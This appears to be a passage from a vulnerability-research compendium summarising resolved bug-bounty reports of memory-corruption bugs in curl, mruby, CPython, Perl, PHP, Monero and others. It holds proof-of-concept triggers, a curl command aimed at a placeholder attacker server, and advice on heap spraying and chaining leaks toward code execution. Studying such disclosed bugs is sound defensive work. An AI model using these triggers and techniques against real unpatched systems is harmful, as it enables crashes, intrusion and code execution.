- Observe 'free(): invalid pointer' / crash
gzip_header = bytes([0x1f,0x8b, 8, 8, 0,0,0,0,0,0])
# send gzip_header, then 0xFFFFFFFF-ish bytes of header data, then bytes(32) as the forged chunk
Insight β Any streaming parser that accumulates a length into a fixed-width integer across many network reads can be driven to integer overflow; the tell is realloc(ptr, small) followed by memcpy of the original (large) size. This gives a controlled heap OOB write + freelist poisoning primitive β RCE-capable when combined with an infoleak to defeat ASLR.
Real-world example
Heap overflow from using default vs negotiated block size (curl TFTP)
β Low
Specimen #550696 Β· curl Β· awarded Β· 16 votes Β· resolved
Program curlSurface network
Root cause
In lib/tftp.c the receive buffer is sized from the user-supplied --tftp-blksize, but recvfrom() is called with state->blksize+4 where blksize still holds the DEFAULT (512) rather than the smaller negotiated value; a malicious TFTP server sends a large datagram that overflows the undersized heap buffer (CVE-2019-5436).
Method
- Run a malicious TFTP server
- Connect with curl using --tftp-blksize N where N < 293
- Server replies with a large data packet; recvfrom writes blksize_default+4 bytes into the N-sized buffer β heap overflow
curl --tftp-blksize 10 tftp://ATTACKER_IP:PORT # N < 293 triggers overflow
Insight β When a protocol negotiates a buffer size, verify the SAME size variable is used for both allocation and the read/recv length. A mismatch between the negotiated size (used to alloc) and a default size (used to read) is a classic heap overflow. Needs an infoleak for RCE.
Real-world example
Integer overflow in buffer-size multiplication β heap overflow (Python PyString_DecodeEscape)
β Low
Specimen #241202 Β· ibb Β· 500 Β· 15 votes Β· resolved
Program ibbSurface other
Root cause
PyString_DecodeEscape computes newlen = recode_encoding ? 4*len : len; the 4*len multiplication overflows Py_ssize_t for large len, allocating a tiny buffer, then the decode loop copies the full (large) string into it β heap buffer overflow. Reachable from source parsing when the .py file declares a non-utf8/non-latin1 coding.
Method
- Craft a ~1GB string constant in a .py file with a coding declaration that triggers recode_encoding (e.g. us-ascii)
- 4*len overflows to a small newlen; PyString_FromStringAndSize allocates a tiny buffer
- The while-loop copies the large content into the small buffer β heap corruption (reliable on 32-bit)
# -*- coding: us-ascii -*-
# followed by a ~1GB string literal (poc-gen.py produces poc.py)
# vuln: Py_ssize_t newlen = recode_encoding ? 4*len : len; // 4*len overflows
Insight β Buffer sizing of the form N*len (N=2,4,utf multiplier) is a canonical integer-overflow-to-heap-overflow bug. Look for allocation sizes multiplied by a constant with no overflow guard, then a copy loop bounded by the original length. Trigger by maximizing len.
Real-world example
Script-engine heap corruption via malformed input (mruby / Shopify scripts)
β Low
Specimen #193773 Β· shopify-scripts Β· awarded Β· 15 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
A crafted mruby source snippet (unusual multiple-assignment / %W array parsing) drives the interpreter into heap corruption β glibc aborts with 'corrupted double-linked list (not small)', i.e. allocator metadata was overwritten while parsing/evaluating the script.
Method
- Submit the crafted Ruby script to the sandboxed mruby engine
- Parser/VM mismanages heap allocations during the malformed multiple-assignment + %W construct
- glibc detects corrupted freelist and aborts (SIGABRT)
a=b=c=[]
a=[]..t=c
t %W=0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0
0 0
0 0 0 0 0 0
0 0
0 0 0 0 0
0
0
0
0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0
0
0 0=
Insight β Sandboxed scripting engines (mruby, Lua, JS) that let untrusted users submit code are memory-corruption attack surfaces in themselves β grammar edge cases (chained assignment, word arrays, deeply nested literals) break allocator invariants. Fuzz the interpreter's parser with malformed but syntactically-adjacent snippets and watch for allocator abort messages.
Real-world example
XML parser missing end-of-buffer check before memcmp β OOB read (miniupnpc)
β Low
Specimen #340012 Β· monero Β· none Β· 15 votes Β· resolved
Program moneroSurface network
Root cause
minixml.c parseelt() does `memcmp(p->xml, "<![CDATA[", 9)` (and later `"]]>"`) without verifying 9/3 bytes remain before the buffer end; a crafted UPnP XML response truncated near a '<' makes memcmp read past the buffer β OOB read / crash in any Monero client using miniupnpc.
Method
- Run a malicious UPnP server on the LAN that returns crafted XML (CDATA-like prefix near the buffer end)
- Start monerod with UPnP enabled so it parses the response via miniupnpc
- parseelt's unchecked memcmp reads beyond the XML buffer β crash (enable pageheap to catch it)
python poc.py --listen 127.0.0.1:65000 --target havoc
# monerod.exe --test-drop-download (with pageheap enabled via gflags +hpa)
Insight β Hand-written XML/text parsers frequently memcmp/strncmp for multi-byte tokens ('<![CDATA[', ']]>', '<!--') without first checking (end - cur) >= token_len. Any network-fetched XML (UPnP, SOAP, config) that feeds such a parser is an OOB-read DoS. Test by truncating input right before/inside a token boundary.
Real-world example
curl HSTS shared-cache double-free/UAF under multithreading
β Low
Specimen #1897203 Β· curl Β· none Β· 12 votes Β· resolved
Program curlSurface other
Root cause
Curl_hsts_parse removes and hsts_free()s an HSTS entry (on expiry or max-age=0) while the shared cache lock is not held for the operation, so concurrent easy handles sharing the HSTS list can free the same node twice or use it after free.
Method
- Share an HSTS cache across many threads via curl_share (CURL_LOCK_DATA_HSTS)
- Point them at a server that randomly returns Strict-Transport-Security max-age=0 vs max-age>0
- Concurrent parse of max-age=0 hits the unguarded remove+free -> double-free/UAF
header("strict-transport-security: max-age=0"); // race against max-age=9999 across CURLOPT_SHARE threads
Insight β When a library exposes a shared cache with user-supplied lock callbacks, list mutation (remove+free) must occur inside the same lock as lookups. Test shared caches with adversarial servers toggling the field that triggers eviction.
Real-world example
curl .netrc parser stack OOB read + NUL write on missing trailing newline
β Low
Specimen #1753224 Β· ibb Β· awarded Β· 11 votes Β· resolved
Program ibbSurface other
Root cause
curl's .netrc parser reads past the end of a stack buffer when the file ends with consecutive non-whitespace characters and no trailing newline, then writes a zero byte possibly beyond the buffer boundary (CVE-2022-35260).
Method
- Supply an application a .netrc whose final line is non-whitespace with no newline
- Parser advances past buffer end looking for the terminator
- OOB read + stray NUL write -> segfault/DoS
printf 'machineAAAAAAAA' > .netrc # no trailing newline, no whitespace
Insight β Line/token parsers that assume a trailing newline are a classic OOB class: test every config/credential file parser with input lacking a final newline and with a run of non-delimiter bytes at EOF.
Real-world example
mruby VM program-counter corruption via crafted bytecode
β Low
Specimen #196498 Β· shopify-scripts Β· awarded Β· 10 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
A crafted Ruby snippet drives mrb_vm_exec into an inconsistent state where the interpreter's execution pointer/PC lands in attacker-influenced data, producing a SIGSEGV while trying to execute non-code (RIP points into the mruby heap).
Method
- Run the crafted script under mruby
- VM mishandles the sequence and jumps to an invalid PC
- Crash with RIP inside data (potential control-flow hijack precursor)
for i in methods Kernel.initialize.public_methods print
print %i[0 0 0 0]end
Insight β Fuzz bytecode/VM interpreters for crashes where the faulting address equals the instruction pointer - that signals PC control, the strongest lead toward RCE in a scripting sandbox.
Real-world example
Monero epee array_entry_t UAF from compiler-synthesized copy of an iterator
β Low
Specimen #511317 Β· monero Β· none Β· 9 votes Β· resolved
Program moneroSurface other
Root cause
struct array_entry_t holds a container iterator but declares no copy constructor, so the compiler-synthesized copy shallow-copies the iterator; when the source object (and its container) is destroyed, the copy's iterator dangles and dereferencing it is a use-after-free. Reached during portable_storage::load_from_binary deserialization.
Method
- Copy-construct an array_entry_t (implicitly, as serialization does) after advancing its iterator
- Destroy the original -> its backing array is freed
- Dereference the copy's iterator (get_next_val) -> UAF
auto ae2 = new array_entry_t<uint64_t>(*ae); delete ae; ae2->get_next_val(); // UAF (reached via load_from_binary)
Insight β C++ classes that own iterators/pointers/handles but omit an explicit copy ctor (rule-of-three violation) UAF whenever copied. Grep for structs with iterator/pointer members and no user-defined copy ctor, then find a deserialization path that copies them from attacker bytes.
Real-world example
Stack overflow via unbounded lstrcat/lstrcpy fed by malicious config file
β Low
Specimen #497255 Β· notepad-plus-plus Β· awarded Β· 8 votes Β· resolved
Program notepad-plus-plusSurface desktopTag file-upload
Root cause
GUI code copies attacker-influenced localization strings into a fixed 1000-byte stack buffer with lstrcat/lstrcpy (no bounds), so an over-long name= attribute in nativeLang.xml overruns the stack when the Shortcut Mapper renders.
Method
- Identify optional config/localization files an app reads from %APPDATA% (here nativeLang.xml).
- Set a name attribute of a rendered element (ColumnName/ColumnShortcut/...) to ~1000+ chars (32-bit) / ~2000+ (64-bit).
- Trigger the code path that copies it (Settings > Shortcut Mapper) -> stack buffer overflow / crash.
<!-- nativeLang.xml placed in %APPDATA%\Notepad++ -->
<ShortcutMapper>
<ColumnName name="AAAA...(>1000 chars, or >2000 on x64)...AAAA"/>
</ShortcutMapper>
<!-- sinks: BabyGrid.cpp lstrcat(buffer,lParam) line 1671; lstrcpy(temptext,text) line 1308 -->
Insight β Any app that reads a user-supplied config/theme/localization file into fixed stack buffers with strcpy/strcat/lstrcat is a memory-corruption target. Attack vector is 'convince user to drop a crafted translation/theme' or a co-resident malicious process writing %APPDATA%. Grep native code for lstrcat/lstrcpy/strcpy/strcat/sprintf on fixed buffers.
Real-world example
mruby use-after-free with attacker-controlled callinfo (potential RCE)
β Low
Specimen #213261 Β· shopify-scripts Β· awarded Β· 7 votes Β· resolved
Program shopify-scriptsSurface otherChain mruby UAF -> callinfo control -> potential code execut
Root cause
Malformed class/def with ensure/rescue leaves the VM using a callinfo struct in memory freed by a realloc; because the freed region is heap-reusable, feeding a large controlled string lets the attacker overwrite ci->proc/ci->target_class and steer execution.
Method
- Run the crashing class/def construct with ensure/rescue to trigger the UAF (invalid ci->proc dereference in vm.c)
- Spray a long controlled string to reclaim the freed callinfo backing store
- Observe ci fields (proc, target_class, pc) now hold attacker-supplied bytes
class A < def to_str
a = "AAABAAC...(long controlled filler with \x0f and pointer bytes)..." * 4
""[1, 2, 3]
ensure --> {} rescue
Struct.new.new.to_h
end
end
Insight β Turn an interpreter crash into an exploit primitive: after the free, heap-spray with a Ruby String/Array of the same size to control the reused struct. The strongest sandbox-escape lever - a UAF on the callinfo/proc gives control of the instruction pointer path. Always test whether a VM crash frees a struct that later governs control flow.
Real-world example
Malformed TLS session ticket -> OOB read from assumed HMAC length (CVE-2016-6302)
β Low
Specimen #221787 Β· ibb Β· awarded Β· 7 votes Β· resolved
Program ibbSurface other
Root cause
OpenSSL assumed a fixed/expected HMAC length when validating a TLS session ticket; a server configured with SHA512 ticket HMAC processing a malformed (too-short) ticket reads out of bounds and crashes.
Method
- Target an OpenSSL server using a custom SHA512 session-ticket HMAC callback
- Send a session ticket shorter than the assumed HMAC digest length
- OOB read -> crash/DoS
# malformed TLS session ticket whose length is less than the SHA512 HMAC (64 bytes) the code assumes; see openssl advisory 20160922
Insight β Wherever code parses a MAC/hash/tag of assumed length, send a truncated blob: length assumptions on variable-size crypto fields are a classic OOB source. Non-default configs (SHA512 ticket HMAC) widen the attack surface - enumerate optional callbacks.
Real-world example
mruby out-of-bounds write via wrong upper bound in array_copy (Array#*)
β Low
Specimen #185899 Β· shopify-scripts Β· awarded Β· 7 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
A convoluted case/splat expression drives mrb_ary_times -> array_copy with an incorrect upper bound, causing an out-of-bounds memory write (EXC_BAD_ACCESS writing to 0x16f000000) - an attacker-influenced write primitive in the untrusted-script VM.
Method
- Run the crafted case/when-splat script under mruby
- array_copy writes past the destination array bounds -> segfault / OOB write
values = [3,5,8]
test = [1,6]
results,= [1.2]
values.each do |value|
case value
when *test
results << value
when *test*= results <<=value
end
end
Insight β Splat/multiplication/expansion opcodes (Array#*, splat args) are prime spots for integer/bound miscalculation. Fuzz an embedded interpreter with expressions that multiply or splat arrays to large/edge sizes and watch for OOB writes - a write primitive is more valuable than a read/crash for sandbox escape.
Real-world example
OOB read past static array via unchecked index (mruby timegm month)
β Low
Specimen #192896 Β· shopify-scripts Β· USD 1000 Β· 7 votes Β· resolved
Program shopify-scriptsSurface otherChain info-leak primitive -> combine with a write bug for relia
Root cause
timegm() loops `for (i=0; i<tm->tm_mon; ++i) r += nday[i]...` where tm_mon is attacker-controlled and never bounded to <12, reading memory past the static ndays[] table -> heap/memory disclosure into the returned time value.
Method
- In the sandboxed mruby interpreter, build a Time with an out-of-range month (e.g. Time.new(1970, 0x10000)).
- The month index drives an unbounded loop over a fixed 12-entry table, reading adjacent memory.
- Convert the resulting deltas back to hex to exfiltrate leaked bytes; large values crash the VM.
@a = ''
for i in 0..50 do
t = Time.new(1970, 12 + i + 1).to_i - Time.new(1970, 12 + i).to_i
@a << t.to_s(16) << ' '
end
@a
Time.new(1970, 0x10000) # -> segfault / leaked bytes
Insight β When a script VM (Shopify Scripts = embedded mruby) exposes a stdlib function that indexes a fixed C array with a user-supplied integer, feed out-of-range values to read past the array. The leaked bytes become an ASLR/info-leak primitive to pair with a write bug for a sandbox escape.
Real-world example
Integer overflow in native function bypasses clip check -> OOB write (PHP GD)
β Low
Specimen #182420 Β· ibb Β· USD 500 Β· 7 votes Β· resolved
Program ibbSurface otherTag file-upload
Root cause
gdImageAALine computes new line limits as (a*b)/c; with attacker-controlled coordinates the multiplication overflows before the divide, so the clip/bounds calculation produces a wrong (in-range-looking) value and gdImageSetAAPixelColor writes pixels outside the image buffer.
Method
- Feed the image function attacker-controlled large coordinates (via imagecreate + drawing, or a crafted image).
- The intermediate multiply (im->sy - y2)*(x1 - x2) overflows a 32-bit int before the /(y2-y1) divide.
- The bogus clipped limit lets the AA-line loop write out of bounds -> illegal write/read.
# Root cause (php-src ext/gd, gd.c line ~1314):
# x2 -= ((im->sy - y2) * (x1 - x2)) / (y2 - y1);
# (a*b) overflows int32 BEFORE the divide -> clip bypass -> OOB write.
# Reproduce by drawing an antialiased line with extreme coordinates on a small image.
Insight β Whenever native code sizes/clips a buffer with arithmetic on attacker-controlled ints, check operator ordering: (a*b)/c overflows where a*(b/c) does not. Large-value inputs to PHP native string/image functions (substr_replace, imap_binary, wordwrap, fgetcsv, gd*) are a recurring integer-overflow -> heap-corruption class.
Real-world example
OOB write: stack not extended before push (Perl scalar reverse)
β Low
Specimen #259555 Β· ibb Β· none Β· 7 votes Β· resolved
Program ibbSurface other
Root cause
Perl_pp_reverse in scalar context with no argument (defaults to $_) pushes its result without first extending the argument stack; when the stack is exactly full, the target SV's address is written to the 4/8 bytes just past the malloc'd stack block.
Method
- Arrange for argless `scalar reverse` to run when the Perl arg stack is exactly full.
- reverse pushes without EXTEND -> writes a pointer one slot past the stack buffer.
- ASAN reports heap-buffer-overflow WRITE of size 8.
$_ = "";
for my $i (1..1000) {
() = (1..$i, scalar reverse);
}
Insight β In stack-machine interpreters, any opcode that pushes a result must EXTEND/reserve first; grep for push paths missing the extend. Even a non-attacker-controlled written value (a pointer) past the stack is a corruption primitive worth chaining. Fuzz interpreters at exact-capacity boundaries.
Real-world example
Delimiter scan past end of buffer -> OOB read + 1-byte write (curl .netrc)
β Low
Specimen #1721098 Β· curl Β· none Β· 7 votes Β· resolved
Program curlSurface other
Root cause
parsenetrc() tokenizes with `while(!ISSPACE(*tok_end)) tok_end++;` then `*tok_end = 0;`. If the .netrc has no whitespace/newline (only non-ISSPACE bytes incl. the trailing NUL), the loop walks past the buffer (OOB read) and the NUL write lands out of bounds (1-byte OOB write). CVE-2022-35260.
Method
- Provide curl a .netrc file containing only non-whitespace bytes and no terminating newline (e.g. 4095 'a's).
- The token-end scan never hits an ISSPACE char and runs off the buffer.
- OOB read + 1-byte NUL write; may repeat depending on heap contents.
curl --netrc-file .netrc test.local
# .netrc = 4095 x 'a' with no newline
# Vulnerable loop (lib/netrc.c parsenetrc):
# while(!ISSPACE(*tok_end)) tok_end++; *tok_end = 0; // no NUL/EOF guard
Insight β The single most transferable C parser bug: a `while(!delim(*p)) p++;` scan that lacks a `*p != 0` / bounds guard. Any config/protocol tokenizer that assumes a trailing separator will run off the end on input that omits it. Fuzz parsers with inputs that drop the expected terminator.
Real-world example
Heap-buffer-overflow read at OP_R_BREAK opcode (mruby)
β Low
Specimen #295380 Β· shopify-scripts Β· USD 800 Β· 6 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
A break executed from within a rescue/lambda context reaches OP_R_BREAK handling in mrb_vm_exec with a stale/undersized stack frame, causing an 8-byte heap read 72 bytes left of the VM stack region (ASAN heap-buffer-overflow).
Method
- Craft Ruby that raises inside a method returning a lambda that yields, then invokes break.
- Reference an undefined constant/method to force the error path and stale frame.
- OP_R_BREAK reads out of bounds of the VM value stack -> ASAN heap-buffer-overflow.
def z
e Array = a rescue
lambda { yield }
end
z { break }
Array[]
Insight β Opcode-level fuzzing of a bytecode VM: break/return/next crossing block/lambda/rescue boundaries frequently leaves the operand stack in a state the opcode doesn't validate, yielding OOB reads/writes relative to the VM stack. Distinct from the stdlib bugs.
Real-world example
Regex fixed-substring memcmp over-reads end of subject (UTF-8 offset)
β Low
Specimen #233440 Β· ibb Β· awarded Β· 6 votes Β· resolved
Program ibbSurface other
Root cause
Perl_re_intuit_start does a fixed-string match at a fixed offset for anchored regexes. When the subject contains UTF-8 before that offset, the byte-offset arithmetic is wrong and memcmp runs past the end of the subject buffer (heap over-read of ~61 bytes), potentially disclosing memory after the terminating NUL if the attacker controls the pattern.
Method
- Control an anchored regex compiled with a fixed substring at a fixed offset
- Match it against a subject that contains UTF-8 before the fixed offset
- memcmp in re_intuit_start reads past the allocated subject region
# rt.perl.org #129085: anchored regex + fixed substring + UTF-8-before-offset -> memcmp overlaps end of string
# ASAN: heap-buffer-overflow READ of size 61 in __interceptor_memcmp <- Perl_re_intuit_start (regexec.c:809)
Insight β Regex engines that precompute a fixed-string check at a byte offset must recompute that offset in bytes when the subject is multibyte/UTF-8. Attacker-controlled patterns + multibyte subjects are a memory-safety surface (info leak) beyond ReDoS.
Real-world example
Deserialized parallel arrays without size cross-check -> OOB read
β Low
Specimen #284951 Β· monero Β· none Β· 6 votes Β· resolved
Program moneroSurface other
Root cause
monero-blockchain-import (with --verify 0) deserializes an attacker-controlled block_package; BlockchainDB::add_block then loops `for tx in txs: tx_hash = blk.tx_hashes[tx_i++]` with no check that txs.size()==tx_hashes.size(). If txs is longer than tx_hashes, blk.tx_hashes is indexed out of bounds.
Method
- Supply a corrupt import_file so serialization::parse_binary yields a block_package with txs.size() > block.tx_hashes.size()
- Import with --verify 0 so sanity checks are skipped
- add_block loop reads blk.tx_hashes[tx_i] past the vector end
// blockchain_db.cpp add_block:
for (const transaction& tx : txs) {
tx_hash = blk.tx_hashes[tx_i]; // OOB when txs.size() > tx_hashes.size()
add_transaction(blk_hash, tx, &tx_hash);
++tx_i;
}
Insight β When a struct is deserialized from untrusted input and two of its member arrays are iterated in lockstep, the code must assert their lengths match before the loop. Any 'parallel vectors indexed by the same counter' after a parse_binary/deserialize is an OOB candidate - and the bug often lives in a lower DB/library layer reachable from other entry points too.
Real-world example
Stale stack pointer after mrb_funcall stack extension -> UAF write
β Low
Specimen #194884 Β· shopify-scripts Β· awarded Β· 5 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
OP_RANGE assigns regs[A] = mrb_range_new(...). range_check calls the equivalence test via mrb_funcall, which (with many args) extends and REALLOCS the VM stack, moving it. The already-computed `regs` base still points into the freed old stack, so writing the range result writes into freed memory (heap-use-after-free).
Method
- Trigger OP_RANGE with an endpoint whose comparison passes enough args to force stack_extend/realloc
- mrb_range_new -> range_check -> mrb_funcall reallocates the stack (old regs freed)
- Return path writes regs[GETARG_A(i)] into the stale (freed) stack pointer
[][0,0]..[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
Insight β In stack-based VMs, any opcode handler that caches the register/stack base and then calls back into code that can grow (realloc) the stack must re-fetch the base afterward. Fix here: compute the result into a local, then assign - never write through a pre-call `regs` pointer after a potential stack move. Same realloc-invalidation class also seen in mruby codegen dispatch_linked (#295680).
Real-world example
Perl bitwise-op heap over-read from missing NUL termination
β Low
Specimen #232150 Β· ibb Β· none Β· 5 votes Β· resolved
Program ibbSurface otherTag file-upload
Root cause
The UTF-8 path of Perl's bitwise-and in do_vop() does not NUL-terminate its result string; a following bit-or numifies that result, and Perl_my_atof2 calls strlen() over the unterminated buffer, reading past the heap allocation.
Method
- Evaluate an expression that produces a UTF-8 bit-and result then applies a numeric bit-or to it
- strlen() in the number-conversion path runs off the end of the unterminated buffer
- ASan reports heap-buffer-overflow READ (found originally with AFL + libdislocator)
perl -e 'v300&O|0'
Insight β String operations that build a buffer but forget the terminating NUL cause over-reads the moment any C string function (strlen/strcmp/atof) touches the result. When fuzzing interpreters, chain string-producing ops into numeric/coercion ops to surface these.
Real-world example
Python 2.7 32-bit JSON encoding heap corruption via oversized dict key
β Low
Specimen #172403 Β· ibb Β· awarded Β· 5 votes Β· resolved
Program ibbSurface otherTag file-upload
Root cause
json.dumps on 32-bit Python 2.7 mishandles size arithmetic when encoding a dict with a very large key, overflowing an internal buffer size calculation and corrupting the heap.
Method
- On 32-bit CPython 2.7, json.dumps a dict whose key is an enormous string
- The size computation overflows and the encoder writes out of bounds
python -c 'import json; json.dumps({chr(0x22)*0x2AAAAAAB:0})'
Insight β Serializers that compute output-buffer sizes from attacker-controlled input lengths are integer-overflow-to-heap-overflow sinks, especially on 32-bit builds. Test JSON/serialization endpoints with extremely long keys/values on 32-bit targets.
Real-world example
CPython type confusion via unchecked PyErr_Restore args
β Low
Specimen #182169 Β· ibb Β· awarded Β· 4 votes Β· resolved
Program ibbSurface otherChain type confusion -> controlled ob_type->tp_repr pointer
Root cause
FutureIter_throw() forwards caller-supplied type/val to PyErr_Restore() with no type check; the fake 'exception value' is later fetched and dereferenced as an object (tp_repr), giving a controlled function-pointer call = potential arbitrary code execution.
Method
- Call the future iterator's throw() with non-exception objects
- A later PyErr_Fetch consumer treats the stored value as a real exception object
- Its ob_type->tp_repr is called from attacker-controlled memory -> crash / EIP control
# PoC FutureIter_type_confusion_2.py: pass crafted object types to future.__iter__().throw(type,val)
# gdb: PyObject_Repr -> call *(v->ob_type->tp_repr) with attacker-controlled pointer
Insight β When auditing C/C++ extensions, flag any API that stores/forwards caller objects without type validation before a virtual dispatch (tp_repr, destructors); missing boundary type checks become type confusion.
Real-world example
Apache mod_proxy_ftp uninitialized-memory disclosure (CVE-2020-1934)
β Low
Specimen #838685 Β· ibb Β· awarded Β· 4 votes Β· resolved
Program ibbSurface network
Root cause
In ftp_getrc_msg(), the code copies from response+4 without verifying the response is at least 4 bytes. A malicious/short FTP response (e.g. '\r\n') makes apr_cpystrn read past initialized data, copying uninitialized heap/stack memory into the proxied response.
Method
- Stand up a malicious FTP server that returns a short reply line (< 4 chars before CRLF).
- Configure Apache with proxy_module + proxy_ftp_module and proxy an FTP request through it.
- Observe uninitialized-memory access (Valgrind: 'Conditional jump depends on uninitialised value' in apr_cpystrn); leaked bytes appear in the proxied response.
# vulnerable line (modules/proxy/mod_proxy_ftp.c):
mb = apr_cpystrn(mb, response + 4, me - mb); // no length check on 'response'
# trigger: FTP server replies with just "\r\n"
curl ftp://127.0.0.1 # via Apache FTP proxy -> uninitialized bytes copied
Insight β When a proxy/parser indexes a fixed offset into an attacker-controlled response (response+4, buf[n]) without a length check, short inputs yield uninitialized-memory disclosure. Fuzz protocol parsers with truncated responses under Valgrind/ASan.
Real-world example
mruby Fixnum-immediate treated as object pointer (freeze)
β Low
Specimen #191994 Β· shopify-scripts Β· awarded Β· 4 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
Integer#freeze -> mrb_obj_freeze does mrb_basic_ptr(self) then MRB_SET_FROZEN_FLAG(b) without checking self is a heap object. A Fixnum immediate is reinterpreted as struct RBasic* and written to, giving an attacker-influenced write address.
Method
- Call .freeze on a large integer literal: o=0x41414141.freeze
- mrb_basic_ptr treats the immediate integer as an object pointer
- MRB_SET_FROZEN_FLAG writes to that attacker-chosen address -> SIGSEGV at the derived addr
o=0x41414141.freeze
Insight β Immediate/tagged values (Fixnum, Symbol, true/false) vs heap objects are a classic type-confusion boundary. Find core methods calling obj_ptr()/basic_ptr() without an immediate check; a controllable integer becomes a controllable write pointer.
Real-world example
Integer overflow -> negative memcpy size (openssl_pbkdf2)
β Low
Specimen #190933 Β· ibb Β· $500 Β· 4 votes Β· resolved
Program ibbSurface other
Root cause
PHP 5.6 openssl_pbkdf2 passes key_length straight to PKCS5_PBKDF2_HMAC; key_length > 0x7fffffff is interpreted as negative int, and memcpy inside libcrypto gets size=-1 (huge size_t) -> negative-size-param / corruption. PHP 7 added PHP_OPENSSL_CHECK_NUMBER_CONVERSION.
Method
- Call openssl_pbkdf2 with key_length greater than 0x7fffffff
- Signed->unsigned conversion yields a negative/huge size into memcpy
- ASAN reports negative-size-param (size=-1) in PKCS5_PBKDF2_HMAC
openssl_pbkdf2('pass','salt', 0x80000000 /*key_length*/, 1000);
Insight β Any API forwarding a user integer as a length to memcpy/malloc is a target: probe INT_MAX+1 / negative values. Signed length used as unsigned size_t is a recurring root cause.
Real-world example
Integer overflow in allocation size (gdImageWebpCtx)
β Low
Specimen #170619 Β· ibb Β· awarded Β· 4 votes Β· resolved
Program ibbSurface other
Root cause
gdImageWebpCtx allocates gdImageSX(im)*4*gdImageSY(im) with no overflow check; large width*height (0x8000*0x8001*4 truncates to 0x20000) under-allocates, then the RGBA copy loop writes far past the buffer -> heap OOB write.
Method
- Create an oversized truecolor image: imagecreatetruecolor(0x8000,0x8001)
- Call imagewebp() to serialize
- The under-sized argb buffer overflows in the pixel copy loop -> ASAN heap-buffer-overflow
<?php
ini_set('memory_limit', -1);
$im = imagecreatetruecolor(0x8000, 0x8001);
imagewebp($im, 'php.webp');
imagedestroy($im);
?>
Insight β Image/media codecs multiply width*height*bpp for allocations; pick dimensions whose product overflows to under-allocate then overflow the pixel loop. Patch pattern: overflow2() checks before malloc.
Real-world example
Type-confusion heap overwrite in PECL HTTP merge_param (remote via querystring)
β Low
Specimen #172411 Β· ibb Β· awarded Β· 4 votes Β· resolved
Program ibbSurface otherChain HTTP querystring -> type confusion -> controlled heap
Root cause
merge_param() (php_http_params.c) calls zend_hash_index_update(Z_ARRVAL_P(ptr),...) without checking ptr is IS_ARRAY; when ptr is actually a zend_string, _zend_hash_index_add_or_update_i writes p->h=h and p->key=NULL through ht->arData pointing at unintended heap memory. The controllable numeric key becomes an attacker value written to the heap. Reachable from any HTTP query string parsed by http\QueryString.
Method
- Send a query string with deeply nested array brackets and a numeric key (bug73055.bin body)
- merge_param mis-treats a zend_string ptr as a HashTable
- zend_hash_index_update writes h (from '16706'->0x4142) and NULL into arbitrary heap -> corruption
[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]][[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[&%C0[]E[=&2[&%C0[]E[16706[*[
Insight β Query-string/array parsers that recurse into nested [] structures and reuse a zval pointer across iterations are type-confusion prone; a numeric bracket key becomes the value written to a confused HashTable. Fuzz nested array params (afl-fuzz found this).
Real-world example
Uninitialized-memory disclosure via allocUnsafe in npm modules
β Low
Specimen #321702 Β· nodejs-ecosystem Β· none Β· 4 votes Β· resolved
Program nodejs-ecosystemSurface otherTag info-disclosure
Root cause
npm modules that build buffers with Buffer.allocUnsafe(n)/new Buffer(n) and size them from a miscalculated length return memory that is never zero-filled; the read API hands back bytes past the initialized region, leaking prior process heap contents (JSON, secrets).
Method
- Find a buffer-building API that accepts numeric/typed user input (e.g. lengths from JSON)
- Pass non-round/fractional sizes so the written length is smaller than the allocation
- Read the buffer back and scan the tail for leaked heap bytes (JSON '{', ascii strings)
var Put = require('put');
var buf = Put();
for (var i = 0; i < 10000; i++) buf.pad(0.99);
console.log(buf.buffer().toString('ascii'));
Insight β Any JS serializer/packer using allocUnsafe and trusting a caller-supplied length can disclose process memory. Grep npm deps for `allocUnsafe`/`new Buffer(` and feed fractional or oversized lengths; the fix is Buffer.alloc/safer-buffer.
Real-world example
Server-side terminal fuzzing: PuTTY escape-code assertion abort
β Low
Specimen #503821 Β· putty_h1c Β· awarded Β· 3 votes Β· resolved
Program putty_h1cSurface other
Root cause
PuTTY's terminal renderer (clear_cc in terminal.c) hits an assertion `col >= 0 && col < line->cols` and aborts when a remote server streams escape sequences that resize/reposition the terminal into an inconsistent column state.
Method
- Build PuTTY with a debugger/asserts; connect to a server you control.
- From the server, stream radamsa-mutated data (seeded from any file) at the client continuously.
- Terminal escape/resize handling reaches an invalid col -> assertion failure -> abort (DoS, scrollback loss).
# on the remote host:
while true; do radamsa -s 911 -o - -n inf corpus/*; done
# client aborts: terminal.c:259 clear_cc Assertion `col >= 0 && col < line->cols' failed
Insight β A terminal emulator processes fully untrusted bytes from whatever it is connected to. Fuzz the client from the server side by streaming mutated output; escape/CSI resize handlers are stateful and full of implicit invariants that assertions (or, without asserts, real corruption) expose.
Real-world example
Reentrancy UAF: struct written after a user callback that can free it (curl)
β Low
Specimen #3749204 Β· curl Β· none Β· 3 votes Β· resolved
Program curlSurface other
Root cause
mev_sh_entry_update fires the app's CURLMOPT_SOCKETFUNCTION, then writes entry->announced and entry->action. curl_easy_pause() (documented as callback-legal) is not guarded by multi->in_callback inside multi_ev.c, so if the pause empties the pollset it frees the very entry, and the post-callback writes land on freed memory (CVE-2026-9080).
Method
- Register a CURLMOPT_SOCKETFUNCTION that calls curl_easy_pause() on the transfer.
- Pause so the transfer's poll-set empties (recv paused, nothing to send).
- mev_assess -> mev_forget_socket -> mev_sh_entry_kill frees the entry during the callback.
- After the callback returns, entry->announced (bit-field RMW) and entry->action are written -> UAF (ASan catches the bit-field read-modify-write first).
/* socket callback that frees the entry it will be written to */
static int sock_cb(CURL *e, curl_socket_t s, int what, void *up, void *sp){
curl_easy_pause(e, CURLPAUSE_ALL); /* -> mev_assess -> free(entry) */
return 0;
}
